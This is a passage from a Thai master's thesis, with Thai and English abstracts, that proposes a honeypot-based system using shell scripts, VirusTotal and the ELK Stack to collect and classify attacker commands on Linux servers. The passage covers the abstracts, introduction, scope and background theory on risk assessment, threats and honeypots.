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บทค ัดย ่อ ภาษาไทย 
 วิชสุน ีธีรรัชต์กาญจน ์: การส ารวจช่องโหว่เครือข่ายเพื่อการปฏิบัติงานด้านความ
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SECURITY OPERATIONS) อ.ที่ปรกึษาหลัก : รศ. ดร.ญาใจ ลิ่มปิยะกรณ์ 

  
งานวิจัยนี้ได้น าเสนอระบบที่ช่วยในการรวบรวม วิเคราะห์ และจ าแนกรูปแบบการโจมตี

ไซเบอร์บนระบบปฏิบัติการยูนิกซ์หรือลินุกซ์ พฤติกรรมน่าสงสัยจะถูกรวบรวมผ่านทางฮันนีพอตที่
ถูกติดตั้งไว้เป็นกับดักล่อเหยื่อผู้บุกรุกทางไซเบอร์ โดยข้อมูลจะถูกเก็บในรูปแบบของบันทึกจัดเก็บ 
ข้ันตอนกระบวนการหลังจากนั้นจะถูกสั่งการผ่านเชลล์สคริปต์เพื่อวิเคราะห์หารูปแบบการโจมตี  
จากการทดลองค้นพบลักษณะของค าสั่งการโจมตีที่มีความคล้ายกัน ซึ่งสามารถแบ่งกลุ่มของค าสั่ง
ออกเป็น 5 กลุ่มตามจุดมุ่งหมายการบุกรุก ประกอบด้วย 1. สืบค้นข้อมูลสารสนเทศ 2. ติดตั้ง
เครื่องมือ 3. โอนย้ายข้อมูล 4. เปลี่ยนแปลงข้อมูล 5. ยึดครองเครื่อง และอีก 2 กลุ่ม คือ กลุ่มของ
ค าสั่งที่ผิดพลาด และกลุ่มของค าสั่งใหม่ที่ไม่เคยพบ สังเกตว่าแต่ละกลุ่มมีผลกระทบต่อระบบไม่
เท่ากัน ไวรัสโททอลเปรียบเสมือนบริการฐานข้อมูลที่เก็บรวบรวมเอกลักษณ์ของไวรัสหลากหลาย
รูปแบบเอาไว้ เมื่อพบค าสั่งในกลุ่มเสี่ยง ระบบจะท าการเรียกใช้ไวรัสโททอลเอพีไอ เพื่อท าการ
แซนด์บ็อกซิ่ง หรือจ าลองการดาวน์โหลด และติดตั้งไฟล์ในสภาพแวดล้อมเสมือนจริง เพื่อวิเคราะห์
หารูปแบบการโจมตี ในกรณียูอาร์แอลหรือไฟล์ดังกล่าวเป็นไฟล์อันตราย ไวรัสโททอลจะส่งรายงาน
กลับมายังระบบที่พัฒนา และแจ้งเตือนไปที่ผู้ดูแลระบบเพื่อด าเนินการเสริมก าลัง เตรียมป้องกัน 
และพัฒนาการปฏิบัติงานด้านความปลอดภัยองค์กรให้รัดกุมมากยิ่งขึ้น ผลจากการทดลองพบว่า ยู
อาร์แอลหรือไฟล์ต่าง ๆ ที่ระบุอยู่ในค าสั่งของผู้บุกรุก 86% เป็นภัยคุกคาม 

 

สาขาวิชา วิทยาศาสตร์คอมพิวเตอร ์ ลายมือช่ือนสิิต ................................................ 
ปีการศึกษา 2562 ลายมือช่ือ อ.ทีป่รกึษาหลกั .............................. 
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บทค ัดย ่อ ภาษาอ ังกฤ ษ 
# # 6170963621 : MAJOR COMPUTER SCIENCE 
KEYWORD: Proactive security operation, Log analysis, Network threat detection, 

Honeypot, ELK Stack 
 Vitsunee Teeraratchakarn : EXPLORING NETWORK VULNERABILITIES FOR 

CORPORATE SECURITY OPERATIONS. Advisor: Assoc. Prof. Yachai 
Limpiyakorn, Ph.D. 

  
This research presents a system to facilitate collecting, analyzing and 

classifying cyber-attack patterns, focusing on Unix or Linux operating systems. The 
suspect behaviors will be collected through Honeypot set up as a decoy to lure 
cyber attackers. The data are stored in the form of logs. The systematic process will 
be instructed through shell scripts in order to analyze the attack patterns. The 
findings from the experiments reported similar attack commands which can be 
categorized into 5 groups based on the attack goals consisting of: 1.Query 
Information, 2.Attempt to install, 3.Transfer files, 4.Change configurations, 5.Taking 
Over the Server, and two additional categories which are Error Case and New/ unseen 
Case. Observing that each category has different levels of impact upon the system. 
VirusTotal is considered a service which operates similar to a database that stores 
various virus signatures, when it discovers a command that belongs to the risk groups, 
the system will call VirusTotalAPI function to simulate a download and install the 
file in a virtual environment (sandboxing) to analyze the attack pattern. In case a 
particular file is infected, VirusTotal will return a report and notify the system 
moderator in order to defend, fortify and enhance the organization’s security 
operations. The experimental result showed that 86% of URLs or files that belong 
to the command risk groups are threats. 
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บทที่ 1 
บทน า 

1.1 ท่ีมาและความส าคัญของปัญหา 

ปัจจุบัน การด าเนินกิจกรรมต่าง ๆ ภายในองค์กร ส่วนใหญ่มีการเช่ือมต่อเครือข่ายภายในกับ

เครือข่ายภายนอก เพื่อใช้ในการท าธุรกรรมต่าง ๆ ซึ่งก่อให้เกิดความเสี่ยงที่อาจเกิดภัยคุกคามเข้ามา

ในระบบได้ ไม่ว่าองค์กรขนาดเล็กหรือขนาดใหญ่ล้วนต้องการความปลอดภัยของเครือข่ายองค์กร 

หากพูดถึงเรื่องความปลอดภัยภายในองค์กร สิ่งแรกที่ทุกคนนึกถึงคือเรื่องของการป้องกันไวรัส 

ป้องกันการถูกภัยคุกคาม หรือ ป้องกันการถูกจู่โจมจากบุคคล บริษัท หรือหน่วยงานอื่นที่ไม่หวังดีต่อ

องค์กร ทั้งนี้ องค์กรส่วนใหญ่มักจะแก้ปัญหาโดยการติดตั้งโปรแกรมป้องกันไวรัส (Anti-Virus) ติดตั้ง

ไฟร์ วอลล์  ( Firewall) หรือ  ระบบตรวจจับการบุกรุ ก  ( Intrusion Detection System) บน

ระบบปฏิบัติการภายในองค์กรที่ ใช้อยู่ เช่น ระบบปฏิบัติการวินโดวส์ (Windows) ตระกูลยูนิกส์ 

(Unix) หรือลินุกซ์ (Linux) ถึงแม้จะมีการป้องกันที่ดีแล้ว แต่ยังพบว่าองค์กรคงยังเผชิญกับปัญหาเดิม 

ๆ เช่น ติดไวรัส ถูกภัยคุกคาม ถูกเจาะระบบ แสดงให้เห็นว่าไม่ว่าจะเป็น โปรแกรมป้องกันไวรัส ไฟร์

วอลล์ หรือ ระบบตรวจจับการบุกรุกยังไม่สามารถป้องกันได้ทั้งหมด จนเป็นเหตุให้ระบบคงมีช่องโหว่

ถูกภัยคุกคามหรือถูกบุกรุกเข้ามาได้อยู่เสมอ อีกทั้งการโจมตีรูปแบบใหม่ ๆ ยังมีการพัฒนาให้ซับซ้อน

มากข้ึน ทั้งนี้ เนื่องจากไฟร์วอลล์ไม่สามารถป้องกันระบบได้ 100 % และไม่สามารถท า งานหรือ

วิเคราะห์ปัญหาต่าง ๆ ได้เองโดยอัตโนมัติ เนื่องจากเป็นเพียงเครื่องมือที่คอยรับค าสั่งและปฏิบัติตาม

นโยบายที่ผู้ดูแลระบบได้ต้ังไว้เท่านั้น ดังนั้น การก าหนดนโยบายและการจัดสร้างแนวปฏิบัติที่เป็นเลิศ 

(Best Practices) เพื่อป้องกันช่องโหว่หรือปัญหาต่าง ๆ  จึงเป็นประเด็นหนึ่งที่องค์กรพึงให้ความส าคัญ 

จากปัญหาข้างต้นท าให้หลายองค์กรเริ่มให้ความสนใจมากข้ึนเกี่ยวกับศูนย์การรักษาความ

ปลอดภัย (SOC) ซึ่งเน้นการปฏิบัติงานเชิงรุก เพื่อช่วยในการควบคุม วิเคราะห์ และตรวจสอบความ

ปลอดภัยองค์กรแม้ในเหตุการณ์ฉุกเฉินที่อาจเกิดได้อย่างไม่คาดคิดและยังช่วยบริหารจัดการข้อมลู ท า

ให้องค์กรมีความปลอดภัยยิ่งข้ึน [1] แต่เทคโนโลยีที่ทันสมัยมักจะมาคู่กับรูปแบบการโจมตีหรือภัย

คุกคามที่แปลกใหม่ มีเทคนิคที่แยบยลมากข้ึนอยู่เสมอ ปัจจุบันจึงได้มีการพัฒนาระบบรักษาความ

ปลอดภัยที่เรียกว่า ฮันนีพอต (Honeypot) ซึ่งเป็นระบบจ าลองเสมือนจริงหรือเป็นระบบหลอกที่ท า

ให้ผู้บุกรุกติดกับดัก โดยฮันนีพอตจะท าการเก็บรวบรวมพฤติกรรมของผู้บุกรุกในรูปแบบข้อมูลบันทึก

จัดเก็บ (Log) ซึ่งข้อมูลในส่วนนี้ถือว่าส าคัญและเป็นประโยชน์อย่างมากในการน ามาพัฒนาระบบ

รักษาความปลอดภัยองค์กร โดยการน าข้อมูลบันทึกจัดเก็บมาวิเคราะห์หาพฤติกรรม รวมถึงหา
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รูปแบบการโจมตี เพื่อน ามาพัฒนาในเรื่องของนโยบายด้านความปลอดภัยให้รัดกุมมากยิ่งขึ้น ทั้งนี้ ใน

การก าหนดนโยบายใด ๆ จะต้องมีข้อมูลที่เช่ือถือได้เพื่อสนับสนุนการก าหนดนโยบายดังกล่าว 

งานวิจัยนี้ได้น าเสนอระบบที่ช่วยในการตรวจจับและวิเคราะห์หารูปแบบการโจมตีจากข้อมูล

บันทึกจัดเก็บบนระบบปฏิบัติการยูนิกซ์ หรือ ลินุกซ์ โดยใช้เทคโนโลยีฮันนีพอต ในการสร้างระบบ

จ าลองที่คล้ายกับระบบหรือเครื่องเซิร์ฟเวอร์จริงเพื่อหลอกล่อผู้บุกรุก ให้ได้มาซึ่งข้อมูลบันทึกจัดเก็บ 

จากนั้นจัดท าเชลล์สคริปต์ (Shell Script) เพื่อใช้ในการก าหนดรูปแบบ ติดตาม และควบคุมการ

ท างานของระบบ ร่วมกับไวรัสโททอล (VirusTotal) ซึ่งเป็นบริการที่เรียกว่า แซนด์บ็อกซ์ (Sandbox) 

ท าหน้าที่ในการสร้างสภาวะแวดล้อมจ าลองส าหรับวิเคราะห์ไฟล์หรือยูอาร์แอล (URL) ต้องสงสัย

รวมถึงตรวจสอบมัลแวร์ (Malware) ที่ระบบรักษาความมั่นคงปลอดภัยทั่วไปขององค์กรไม่สามารถ

ตรวจจับได้ อีกทั้งท าการวิเคราะห์และแสดงผลด้วยเครื่องมือโอเพนซอร์สส าหรับการจัดการบันทึก

จัดเก็บ (Log Management) ที่นิยมใช้แพร่หลายกันอยู่ในปัจจุบันคือ อีแอลเคสแต็ก (ELK Stack) 

โดยผลลัพธ์สิ่งที่ค้นพบจากบันทึกจัดเก็บข้อมูลจราจรเครือข่ายจ านวนมากจะถูกน ามาวิเคราะห์เพื่อ

ป้อนกลับไปเป็นสารสนเทศสนับสนุนการก าหนดนโยบายด้านความปลอดภัยองค์กรให้ครอบคลุมมาก

ยิ่งขึ้น รวมทั้งสนับสนุนการพัฒนาการปฏิบัติงานด้านความปลอดภัยองค์กร โดยคาดหวังว่าจะน าไปสู่

แนวทางการปฏิบัติงานเชิงป้องกัน (Proactive) แทนการท างานในเชิงแก้ไขปัญหาเฉพาะหน้า 

(Reactive) ซึ่งจะส่งผลให้การท างานมีประสิทธิภาพและประสิทธิผลเพิ่มมากขึ้น 

1.2 วัตถุประสงค์ของการวิจัย 

เพื่อน าเสนอวิธีการ เครื่องมือ และรูปแบบในการพัฒนาระบบ ส าหรับตรวจจับพฤติกรรมของผู้

บุกรุก การวิเคราะห์หารูปแบบการโจมตี เพื่อน าไปพัฒนาการปฏิบัติงานเชิงรุกด้านความปลอดภัย

องค์กรจากผลลัพธ์การวิเคราะห์ข้อมูลบันทึกจัดเก็บ 

1.3 ขอบเขตงานวิจัย 

1. ระบบที่พัฒนาข้ึนรองรับบนระบบปฏิบัติการยูนิกซ์หรือลินุกซ์เท่านั้น 

2. ระบบที่พัฒนาข้ึนออกแบบอยู่บนกูเกิลคลาวด์แพลตฟอร์ม (Google Cloud Platform) 

3. ใช้ฮันนีพอต (Honeypot) เป็นเครื่องมือในการสร้างระบบจ าลองเสมือนจริงเพื่อใช้ในการ

รวบรวมข้อมูลบันทึกจัดเก็บ 

4. จ าแนกข้อมูลน าเข้า (Input) ออกเป็น 2 ประเภท ได้แก่ 

- ข้อมูลการเข้าสู่ระบบ (login.log) 
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- ข้อมูลการใช้งานค าสัง่ (command.log) 

5. สามารถตรวจจับผู้บุกรุกและรวบรวมเป็นข้อมูลบันทึกจัดเก็บเพื่อน าไปวิเคราะห์ต่อได้โดย

อัตโนมัต ิ

6. เมื่อระบบถูกโจมตีสามารถแจ้งเตือนผู้ดูแลระบบได้ในทันที 

7. สามารถจ าแนกข้อมูลและแสดงผลการวิเคราะห์ผ่านทางอีแอลเคสแต็ก 

1.4 ขั้นตอนการวิจัย 

1. ศึกษาค้นคว้าและท าความเข้าใจงานวิจัยที่เกี่ยวข้อง 

2. ศึกษาค้นคว้าและท าความเข้าใจทฤษฎีที่เกี่ยวข้อง 

3. ศึกษาข้ันตอนการพัฒนาการปฏิบัติงานด้านความปลอดภัย 

4. ออกแบบและพัฒนาระบบ 

5. จัดเก็บข้อมูลที่ได้จากการพัฒนาและน าไปวิเคราะห์ 

6. ประเมินผลงานวิจัย 

7. วิเคราะห์และสรุปผล 

8. เผยแพร่ผลงานวิชาการ 

9. เรียบเรียงวิทยานิพนธ์ 

1.5 ประโยชน์ที่คาดว่าจะได้รับ 

1. ได้ต้นแบบ (Prototype) ที่ใช้ในการรวบรวมข้อมูลบันทึกจัดเก็บ วิเคราะห์พฤติกรรมและ

รูปแบบการโจมตีต่าง ๆ ของผู้บุกรุกได้โดยอัตโนมัติ 

2. ได้เรียนรู้และทราบถึงพฤติกรรมของผู้บุกรุก เพื่อน ามาวิเคราะห์หาแนวทางในการพัฒนาการ

ปฏิบัติงานด้านความปลอดภัยเชิงป้องกัน 

3. ได้้เครื่องมือสนับสนุนการปรับปรุงนโยบายด้านความปลอดภัยองค์กรเพื่อป้องกันและลดภัย

คุกคามที่อาจเกิดข้ึน 

4. ได้แบบจ าลองเครื่องมือในการประเมินความเสี่ยงของการโจมตีในรูปแบบต่าง ๆ 

1.6 ล าดับการจัดเรียงเนื้อหาในวิทยานิพนธ์ 

เนื้อหาในวิทยานิพนธ์ฉบับนี้จัดแบ่งออกเป็น 6 บท ได้แก่ บทที่ 1 บทน า ได้อธิบายถึงที่มาและ

ความส าคัญของปัญหา วัตถุประสงค์ของงานวิจัย ขอบเขตงานวิจัย ประโยชน์ที่คาดว่าจะได้รับ และ 
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ผลงานที่ได้รับการตีพิมพ์จากวิทยานิพนธ์ บทที่ 2 ทฤษฎีและงานวิจัยที่เกี่ยวข้อง บทที่ 3 แนวคิดและ

วิธีการวิจัย บทที่ 4 การพัฒนาระบบ ซึ่งกล่าวถึงการออกแบบระบบ สภาพแวดล้อมและเครื่องมือที่ใช้

ในการพัฒนา รวมถึงข้ันตอนในการพัฒนา บทที่ 5 การวิเคราะห์และประเมินผล และบทสุดท้าย บท

ที่ 6 สรุปผลการวิจัย ข้อจ ากัดในการท างานวิจัย และงานวิจัยในอนาคต 

1.7 ผลงานท่ีได้รับการตีพิมพ์จากวิทยานิพนธ์ 

 ส่วนหนึ่งของวิทยานิพนธ์ฉบับนี้ได้รับการตีพิมพ์บทความทางวิชาการจ านวน 2 บทความ ได้แก่ 
1. Teeraratchakarn, V., & Limpiyakorn, Y. (2019). Exploring Network Vulnerabilities 

for Corporate Security Operations. In Information Science and Applications (pp. 

341-351). Springer, Singapore. 

2. Teeraratchakarn, V., & Limpiyakorn, Y. (2 0 2 0 ) .  Automated Monitoring and 

Behavior Analysis for Proactive Security Operations. In Proceedings of the 2020 

2 nd International Conference on Management Science and Industrial 

Engineering (pp. 105-109). 
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บทที่ 2 
ทฤษฎีและงานวิจัยที่เก่ียวข้อง 

2.1 ทฤษฎีท่ีเกี่ยวข้อง 

2.1.1 การจัดการอัตลักษณ์ 

การจัดการอัตลักษณ์ (Identity Management) [1] คือ เทคโนโลยีการจัดการอัตลักษณ์

ไม่ได้จ ากัดเพียงแค่เป็นเครื่องมือในการจัดการรหัสผ่าน การจัดเตรียมซอฟต์แวร์ การจัดเตรียมแอป-

พลิเคชันเพื่อบังคับใช้นโยบายด้านความปลอดภัย การรายงาน การตรวจสอบแอปพลิเคชัน และพื้นที่

จัดเก็บข้อมูลในการระบุตัวตน โดยผลิตภัณฑ์ได้จัดเตรียมทั้งเครื่องมือและเทคโนโลยีส าหรับการ

บริหารสิทธิการเข้าถึงของผู้ใช้ทั่วทั้งองค์กร และเพื่อให้มั่นใจว่าสอดคล้องกับนโยบายและข้อบังคับ

ขององค์กร โดยทั่วไประบบการจัดการอัตลักษณ์ประกอบด้วยองค์ประกอบพื้นฐาน 4 ประการ ได้แก่ 

1) แฟ้มข้อมูลส่วนบุคคลที่ระบบใช้เพื่อก าหนดผู้ใช้แต่ละคน 

2) ชุดเครื่องมือส าหรับเพิ่ม/ลบ/แก้ไข ข้อมูลที่เกี่ยวข้องกับการจัดการการเข้าถึงระบบ 

3) ระบบควบคุมการเข้าถึงของผู้ใช้งานตามนโยบายความปลอดภัยและสิทธิการเข้าถึง 

4) ระบบการตรวจสอบและระบบรายงานผลเพื่อรองรับในการปฏิบัติตาม 

การจัดการอัตลักษณ์ที่ดี หมายถึง ความสามารถในการควบคุมการเข้าถึงผู้ใช้งานที่มากข้ึน 

ซึ่งน าไปสู่การลดความเสี่ยงของการละเมิดสิทธิทั้งภายในและภายนอก ความสามารถของการจัดการ

ศูนย์กลางการด าเนินงานด้านความปลอดภัยสามารถลดความซับซ้อนและลดค่าใช้จ่ายในการดูแล

ข้อมูลของผู้ใช้และการเข้าถึง ขณะเดียวกันระบบการจัดการอัตลักษณ์ท าให้พนักงานสามารถท างาน

ได้อย่างมีประสิทธิผลมากข้ึน และยังคงรักษาความปลอดภัยในสภาพแวดล้อมการท างานที่

หลากหลายไม่ว่าจะเป็นบ้าน ส านักงาน หรือบนท้องถนน ภาพที่ 1 แสดงองค์ประกอบการจัดการอัต

ลักษณ์ซึ่งเป็นส่วนหนึ่งที่มีบทบาทส าคัญของศูนย์การปฏิบัติงานด้านความปลอดภัยที่ทันสมัย 
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ภาพที่ 1 โครงสร้างระบบการปฏิบัติงานด้านความปลอดภัยที่ทันสมัย [1] 

2.1.2 ความเสี่ยงของระบบเทคโนโลยีสารสนเทศ  

ความเสี่ยงของระบบเทคโนโลยีสารสนเทศ (Information Technology System Risk) 

[2] หมายถึง โอกาสที่จะเกิดความเสียหาย เกิดข้อผิดพลาด หรือเกิดการกระท าใด ๆ ที่ก่อให้เกิดการ

สูญเสีย เช่น การท าลายฮาร์ดแวร์ การท าลายซอฟต์แวร์ หรือการท าลายข้อมูลสารสนเทศ 

2.1.2.1 ปัจจัยเสี่ยง 

ปัจจัยเสี่ยง (Risk Factor)  หมายถึง สาเหตุที่มาของความเสี่ยงที่จะท าให้

หน่วยงานหรือองค์กรต่าง ๆ ไม่สามารถบรรลุถึงวัตถุประสงค์หรือตามนโยบายที่ได้ก าหนดเอาไว้ โดย

สาเหตุที่ก่อให้เกิดความเสี่ยงมีดังต่อไปนี้ 

1. ความเสี่ยงทีเ่กิดจากภายใน 

1.1 การพัฒนาระบบ ได้แก่ 

- ผู้พัฒนาระบบไมท่ราบถึงความต้องการของผู้ใช้อย่างแทจ้รงิ 

- ผู้พัฒนาระบบไมม่ีความรู้เพียงพอในการออกแบบและพฒันาระบบ 

- ระบบที่พฒันามีฟงัก์ชันงานไม่ครบถ้วนหรือไม่ถูกต้องตามความต้องการ 

1.2 การใช้งานระบบ ได้แก่ 

- ผู้ใช้ไม่มีสิทธิในการเข้าถึงข้อมูลอาจเข้าได้โดยให้รหัสผ่านกนั 

- การบันทึกข้อมลูทีผ่ิดพลาด ไม่ถูกต้อง ไม่ครบถ้วน 
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1.3 การใช้งานอุปกรณ์ ได้แก่ 

- คอมพิวเตอร์หรืออปุกรณ์ใด ๆ ไม่สามารถท างานร่วมกันได้ 

- คอมพิวเตอร์หรืออปุกรณ์ใด ๆ ไม่ได้รับการบ ารุงรักษาที่ถูกวิธี 

- ไม่มีการอัปเดต ปรับปรงุคอมพิวเตอรห์รอือุปกรณ์ใด ๆ ใหท้ันสมัยอยูเ่สมอ 

- การถูกโจรกรรม เช่น การน าเอาคอมพิวเตอร์หรืออปุกรณ์ใด ๆ ไปจ าหน่ายหรือ

น าไปซ่อม โดยไม่ได้ท าการลบข้อมลูเดิมที่มีอยู่ออกก่อน 

1.4 ความเสี่ยงทีเ่กิดจากบุคลากรหรือเจ้าหน้าที่ภายใน ได้แก่  

- บุคลากรหรือเจ้าหน้าที่ท าการคัดลอกข้อมลูภายในออกไปให้บุคคลภายนอก 

- บุคลากรหรือเจ้าหน้าที่ท าการเผยแพร่ข้อมลูภายในที่ไม่ได้รับอนญุาต 

- บุคลากรหรือเจ้าหน้าที่มีการใช้โปรแกรมหรือเว็บไซต์ที่ไม่ได้รับอนญุาต 

2. ความเสี่ยงทีเ่กิดจากภายนอก ได้แก่ 

- การถูกบุกรุกจากเจ้าหน้าที่หรือบุคคลภายนอก โดยมีวัตถุประสงค์ในการเข้ามา

ท าการโจรกรรมข้อมูลหรืออุปกรณ์ต่าง ๆ 

- การถูกโจมตีจากไวรัสที่เข้ามาก่อกวนจากอินเทอร์เน็ต โปรแกรมคอมพิวเตอร์ 

อีเมล เกมออนไลน์ รวมถึงอุปกรณ์ต่อพ่วงต่าง ๆ 

3. ความเสี่ยงจากอุบัติภัย คือ ความเสี่ยงที่เกิดข้ึนโดยธรรมชาติหรือเกิดจากโดยฝีมือ

มนุษย์ เช่น น้ าท่วม เพลิงไหม้ ฟ้าผ่า วาตภัย กระแสไฟฟ้าขัดข้อง รวมถึงอุบัติเหตุต่าง ๆ 

2.1.2.2 การประเมนิความเสี่ยง 

การประเมินความเสี่ยง (Risk Assessment) หมายถึง การพิจารณาจัดล าดับ

ความส าคัญของความเสี่ยงที่เกิดข้ึน เพื่อด าเนินการจัดการกับความเสี่ยงเหล่านั้น โดยอ้างอิงจาก

ผลลัพธ์การวิเคราะห์ความเสี่ยงที่ได้ ซึ่งในการท าการประเมินความเสี่ยงสามารถค านวณได้จากโอกาส

ที่จะเกิด (Likelihood) หมายถึง การพิจารณาความเป็นไปได้ที่จะเกิดเหตุการณ์ความเสี่ยงในช่วงเวลา

หนึ่งหรือโอกาสที่จะเกิดความเสี่ยง และผลกระทบ ( Impact) หมายถึง ระดับความรุนแรงของผล

เสียหายที่เกิดข้ึนจากความเสี่ยงนั้น ๆ ซึ่งมีผลกระทบต่อองค์กร โดยผลกระทบดังกล่าวอาจเป็นได้ทั้ง

ในด้านบวกและด้านลบ เช่น ผลกระทบจากค่าความเสียหายในด้านต่าง ๆ ต่อทรัพย์สิน และ 

ผลกระทบจากการลงทุนหรือการร่วมลงทุน 

การประเมินความเสี่ยงสามารถแบ่งออกเป็น 2 รูปแบบ ได้แก่ การประเมินความ

เสี่ยงเชิงคุณภาพ (Qualitative) และการประเมินเสี่ยงเชิงปริมาณ (Quantitative) 
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1. การประเมินความเสี่ยงเชิงคุณภาพ หมายถึง การประเมินความเสี่ยงจากผลที่

จะตามมาของความเสี่ยง โดยความเสี่ยงนั้นมีผลกระทบต่อช่ือเสียงและภาพลักษณ์ขององค์กร 

2. การประเมินความเสี่ยงเชิงปริมาณ หมายถึง การประเมินความเสี่ยงจากการ

ค านวณระดับของผลกระทบ ระดับความรุนแรง หรือความถ่ีที่ก่อให้เกิดความเสียหาย 

การประเมินความเสี่ยงเชิงปริมาณสามารถแบ่งระดับความเสี่ยงออกเป็น 3, 5 

หรือ 7 ระดับ ตามความเหมาะสมของแต่ละองค์กร เช่น การแบ่งระดับของความเสี่ยงออกเป็น 5 

ระดับ ได้แก่ น้อยมาก น้อย ปานกลาง สูง สูงมาก ซึ่งจะมีค่าความเสี่ยงรวมเท่ากับ 25 คะแนน (Level 

of Risk) โดยค านวณค่าของความเสี่ยงได้จากสมการ (1) เพื่อน ามาจัดท าแผนผังประเมินความเสี่ยง 

(Risk Assessment Matrix) ดังแสดงในภาพที่ 2 

 Risk Value = Likelihood * Impact  (1) 

โดยที่ Risk Value  คือ ค่าการประเมินความเสี่ยง 

Likelihood คือ โอกาส/ความถ่ีที่จะเกิดความเสี่ยง แบง่เป็น 5 ระดับ 

Impact  คือ ผลกระทบ/ความรุนแรง แบ่งเป็น 5 ระดับ 

 

ภาพที่ 2 ตัวอย่างแผนผังประเมินความเสี่ยง [2] 

2.1.2.3 การจัดการความเสี่ยง 

การจัดการความเสี่ยง คือ กระบวนการที่ช่วยให้มาตรการในการป้องกันความ

เสี่ยงบรรลุผลส าเร็จ ด้วยการปกป้องระบบเทคโนโลยีสารสนเทศและข้อมูลภายในที่ส าคัญ ซึ่งจะช่วย
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สนับสนุนความส าเร็จของการบรรลุพันธกิจขององค์กร โดยการปกป้องระบบเทคโนโลยีสารสนเทศ

และข้อมูลสามารถแบ่งออกได้ดังต่อไปนี้ 

1. ความเสี่ยงการเข้าถึง (Access Risk) คือ ความเสี่ยงเกี่ยวกับการเข้าถึงข้อมูล 

และระบบคอมพิวเตอร์จากบุคคลที่ไม่มีสิทธิในการเข้าถึง หากองค์กรไม่มีวิธีการจัดการและควบคุม

ความเสี่ยงด้านการเข้าถึงข้อมูลที่มีความรัดกุมมากพอ อาจจะท าให้บุคคลที่ไม่เกี่ยวข้องหรือไม่มีสิทธิ

ในการรับรู้ข้อมูลสามารถล่วงรู้ข้อมูลได้ และบุคคลเหล่านั้นยังสามารถแก้ไขเปลี่ยนแปลงข้อมูล ซึ่ง

อาจท าให้ระบบงานขององค์กรเสียหาย อีกทั้งยังสามารถน าข้อมูลที่ได้ไปแสวงหาผลประโยชน์โดยมิ

ชอบ โดยที่ความเสี่ยงในการเข้าถึงอาจเกิดได้จากหลายปัจจัย เช่น การก าหนดสิทธิในการเข้าถึงข้อมูล

และระบบคอมพิวเตอร์ที่ไม่ถูกต้องหรือไม่เหมาะสมกับหน้าที่และความรับผิดชอบของแต่ละบุคคล 

2. ความเสี่ยงความไม่ถูกต้อง (Integrity Risk) คือ ความเสี่ยงเกี่ยวกับความไม่

ถูกต้องครบถ้วนของข้อมูลและการท างานของระบบคอมพิวเตอร์ ซึ่งอาจเกิดจากบุคคลที่ไม่มีสิทธิใน

การเข้าถึงข้อมูลหรือผู้ที่ไม่มีหน้าที่เข้ามาท าการแก้ไขเปลี่ยนแปลงข้อมูล หรืออาจเกิดจากองค์กรไมไ่ด้

มีการก าหนดสิทธิหรือการควบคุมที่ดีมากพอ ท าให้เกิดการบันทึกข้อมูล การประมวลผลข้อมูล รวมถึง

การแสดงผลข้อมูลที่ผิดพลาด ซึ่งอาจส่งผลให้ระบบคอมพิวเตอร์มีการประมวลผลที่ไม่ถูกต้องและไม่

ตรงตามความต้องการของผู้ใช้งานได้ 

3. ความเสี่ยงการไม่สามารถใช้ได ้(Availability Risk) คือ ความเสี่ยงในการที่ไม่

สามารถเข้าใช้งานข้อมูลหรือเข้าใช้งานระบบคอมพิวเตอร์ได้ตามที่ควรจะเป็น โดยความเสี่ยงนี้อาจ

เกิดข้ึนมาจากการก าหนดหรือการควบคุมภายในระบบที่ไม่ดีหรือที่รัดกุมไม่เพียงพอ รวมถึงไม่ไดม้กีาร

เตรียมแผนส ารองส าหรับการรองรับเหตุการณ์ฉุกเฉินต่าง ๆ ซึ่งความเสี่ยงนี้อาจท าให้การท างาน

ภายในองค์กรเกิดการติดขัดหรือการหยุดชะงัก 

2.1.2.4 ภัยคุกคาม 

ภัยคุกคาม (Threat) [3] หมายถึง ปัจจัยจากภายนอกต่าง ๆ ที่อาจกอใหเกิด

ความเสียหายตอองค์กร ได้แก่ ความเสียหายของข้อมูล ความเสียหายของทรัพย์สิน รวมถึงความ

เสียหายอื่น ๆ ที่ส่งผลกระทบต่อองค์กร ซึ่งภัยคุกคามอาจเกิดจากสภาพแวดล้อมที่ไม่เหมาะสม หรือ

ภัยธรรมชาติ เช่น น้ าท่วม แผ่นดินไหว รวมถึงอาจเกิดข้ึนจากบุคคลภายในและภายนอกองค์กร เช่น 

การท างานที่ผิดพลาดของพนักงาน การโจรกรรมข้อมูล การฉ้อโกง การก่อวินาศกรรม รวมถึงการ

โจมตีระบบขององค์กรในรูปแบบต่าง ๆ ซึ่งภัยคุกคามนั้นอาจจะไม เกิดข้ึนเลยหากองค์กรมีการ

เตรียมพร้อมส าหรับการดูแลและการปองกันที่ดี โดยการกระท าที่อาจกอใหเกิดความเสียหายจะถูก
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เรียกวาการโจมตี (Attack) และผูที่กระท าการใด ๆ ที่ก่อให้เกิดความเสียหายเรียกว่าผู โจมตี 

(Attacker) หรือแฮคเกอร (Hacker) 

2.1.3 ฮันนีพอต 

ฮันนีพอต (Honeypot) [4] เป็นระบบหรือกับดักที่สร้างขึ้นเพื่อท าการหลอกล่อ ลวงผู้ที่จะ

ลักลอบเข้ามาในเครือข่ายหรือที่เรียกกันโดยทั่วไปว่า แฮกเกอร์ หรือ ผู้บุกรุก ซึ่ง ฮันนีพอตจะเป็น

เครื่องที่ท าการเปิดช่องโหว่ของระบบไว้เพื่อเป็นการล่อเหล่าผู้บุกรุกที่ต้องการเข้ามาล้วงข้อมูลภายใน

ระบบ จากนั้นจะท าการรวบรวมพฤติกรรมของผู้บุกรุกที่เข้ามากระท าในระบบในรูปแบบของข้อมูล

บันทึกจัดเก็บ (Log) เพื่อน าไปวิเคราะห์หาเทคนิคที่ผู้บุกรุกใช้ในการโจมตีและพัฒนาระบบรักษา

ความมั่นคงปลอดภัย อีกทั้งยังสามารถน าข้อมูลบันทึกจัดเก็บที่ได้จากระบบมาวิเคราะห์หารูปแบบ

การโจมตีของมัลแวร์ได้อีกด้วย 

เนื่องด้วยฮันนีพอตได้ท าการเปิดช่องโหว่ของระบบไว้จ านวนมากเหมือนไม่ได้มีการป้องกัน

ระบบเท่าที่ควร แต่แท้จริงแล้วฮันนีพอตได้ท าการแยกระบบจริงกับระบบจ าลองเสมือนจริงออกจาก

กันอย่างสิ้นเชิง ดังแสดงในภาพที่ 3 พร้อมทั้งมีการตรวจจับพฤติกรรมของผู้บุกรุกอยู่ตลอดเวลา เพื่อ

น ามาวิเคราะห์ให้ทราบถึงวิธีการลักลอบเข้ามาของผู้บุกรุกรวมถึงไวรัสต่าง ๆ 

 

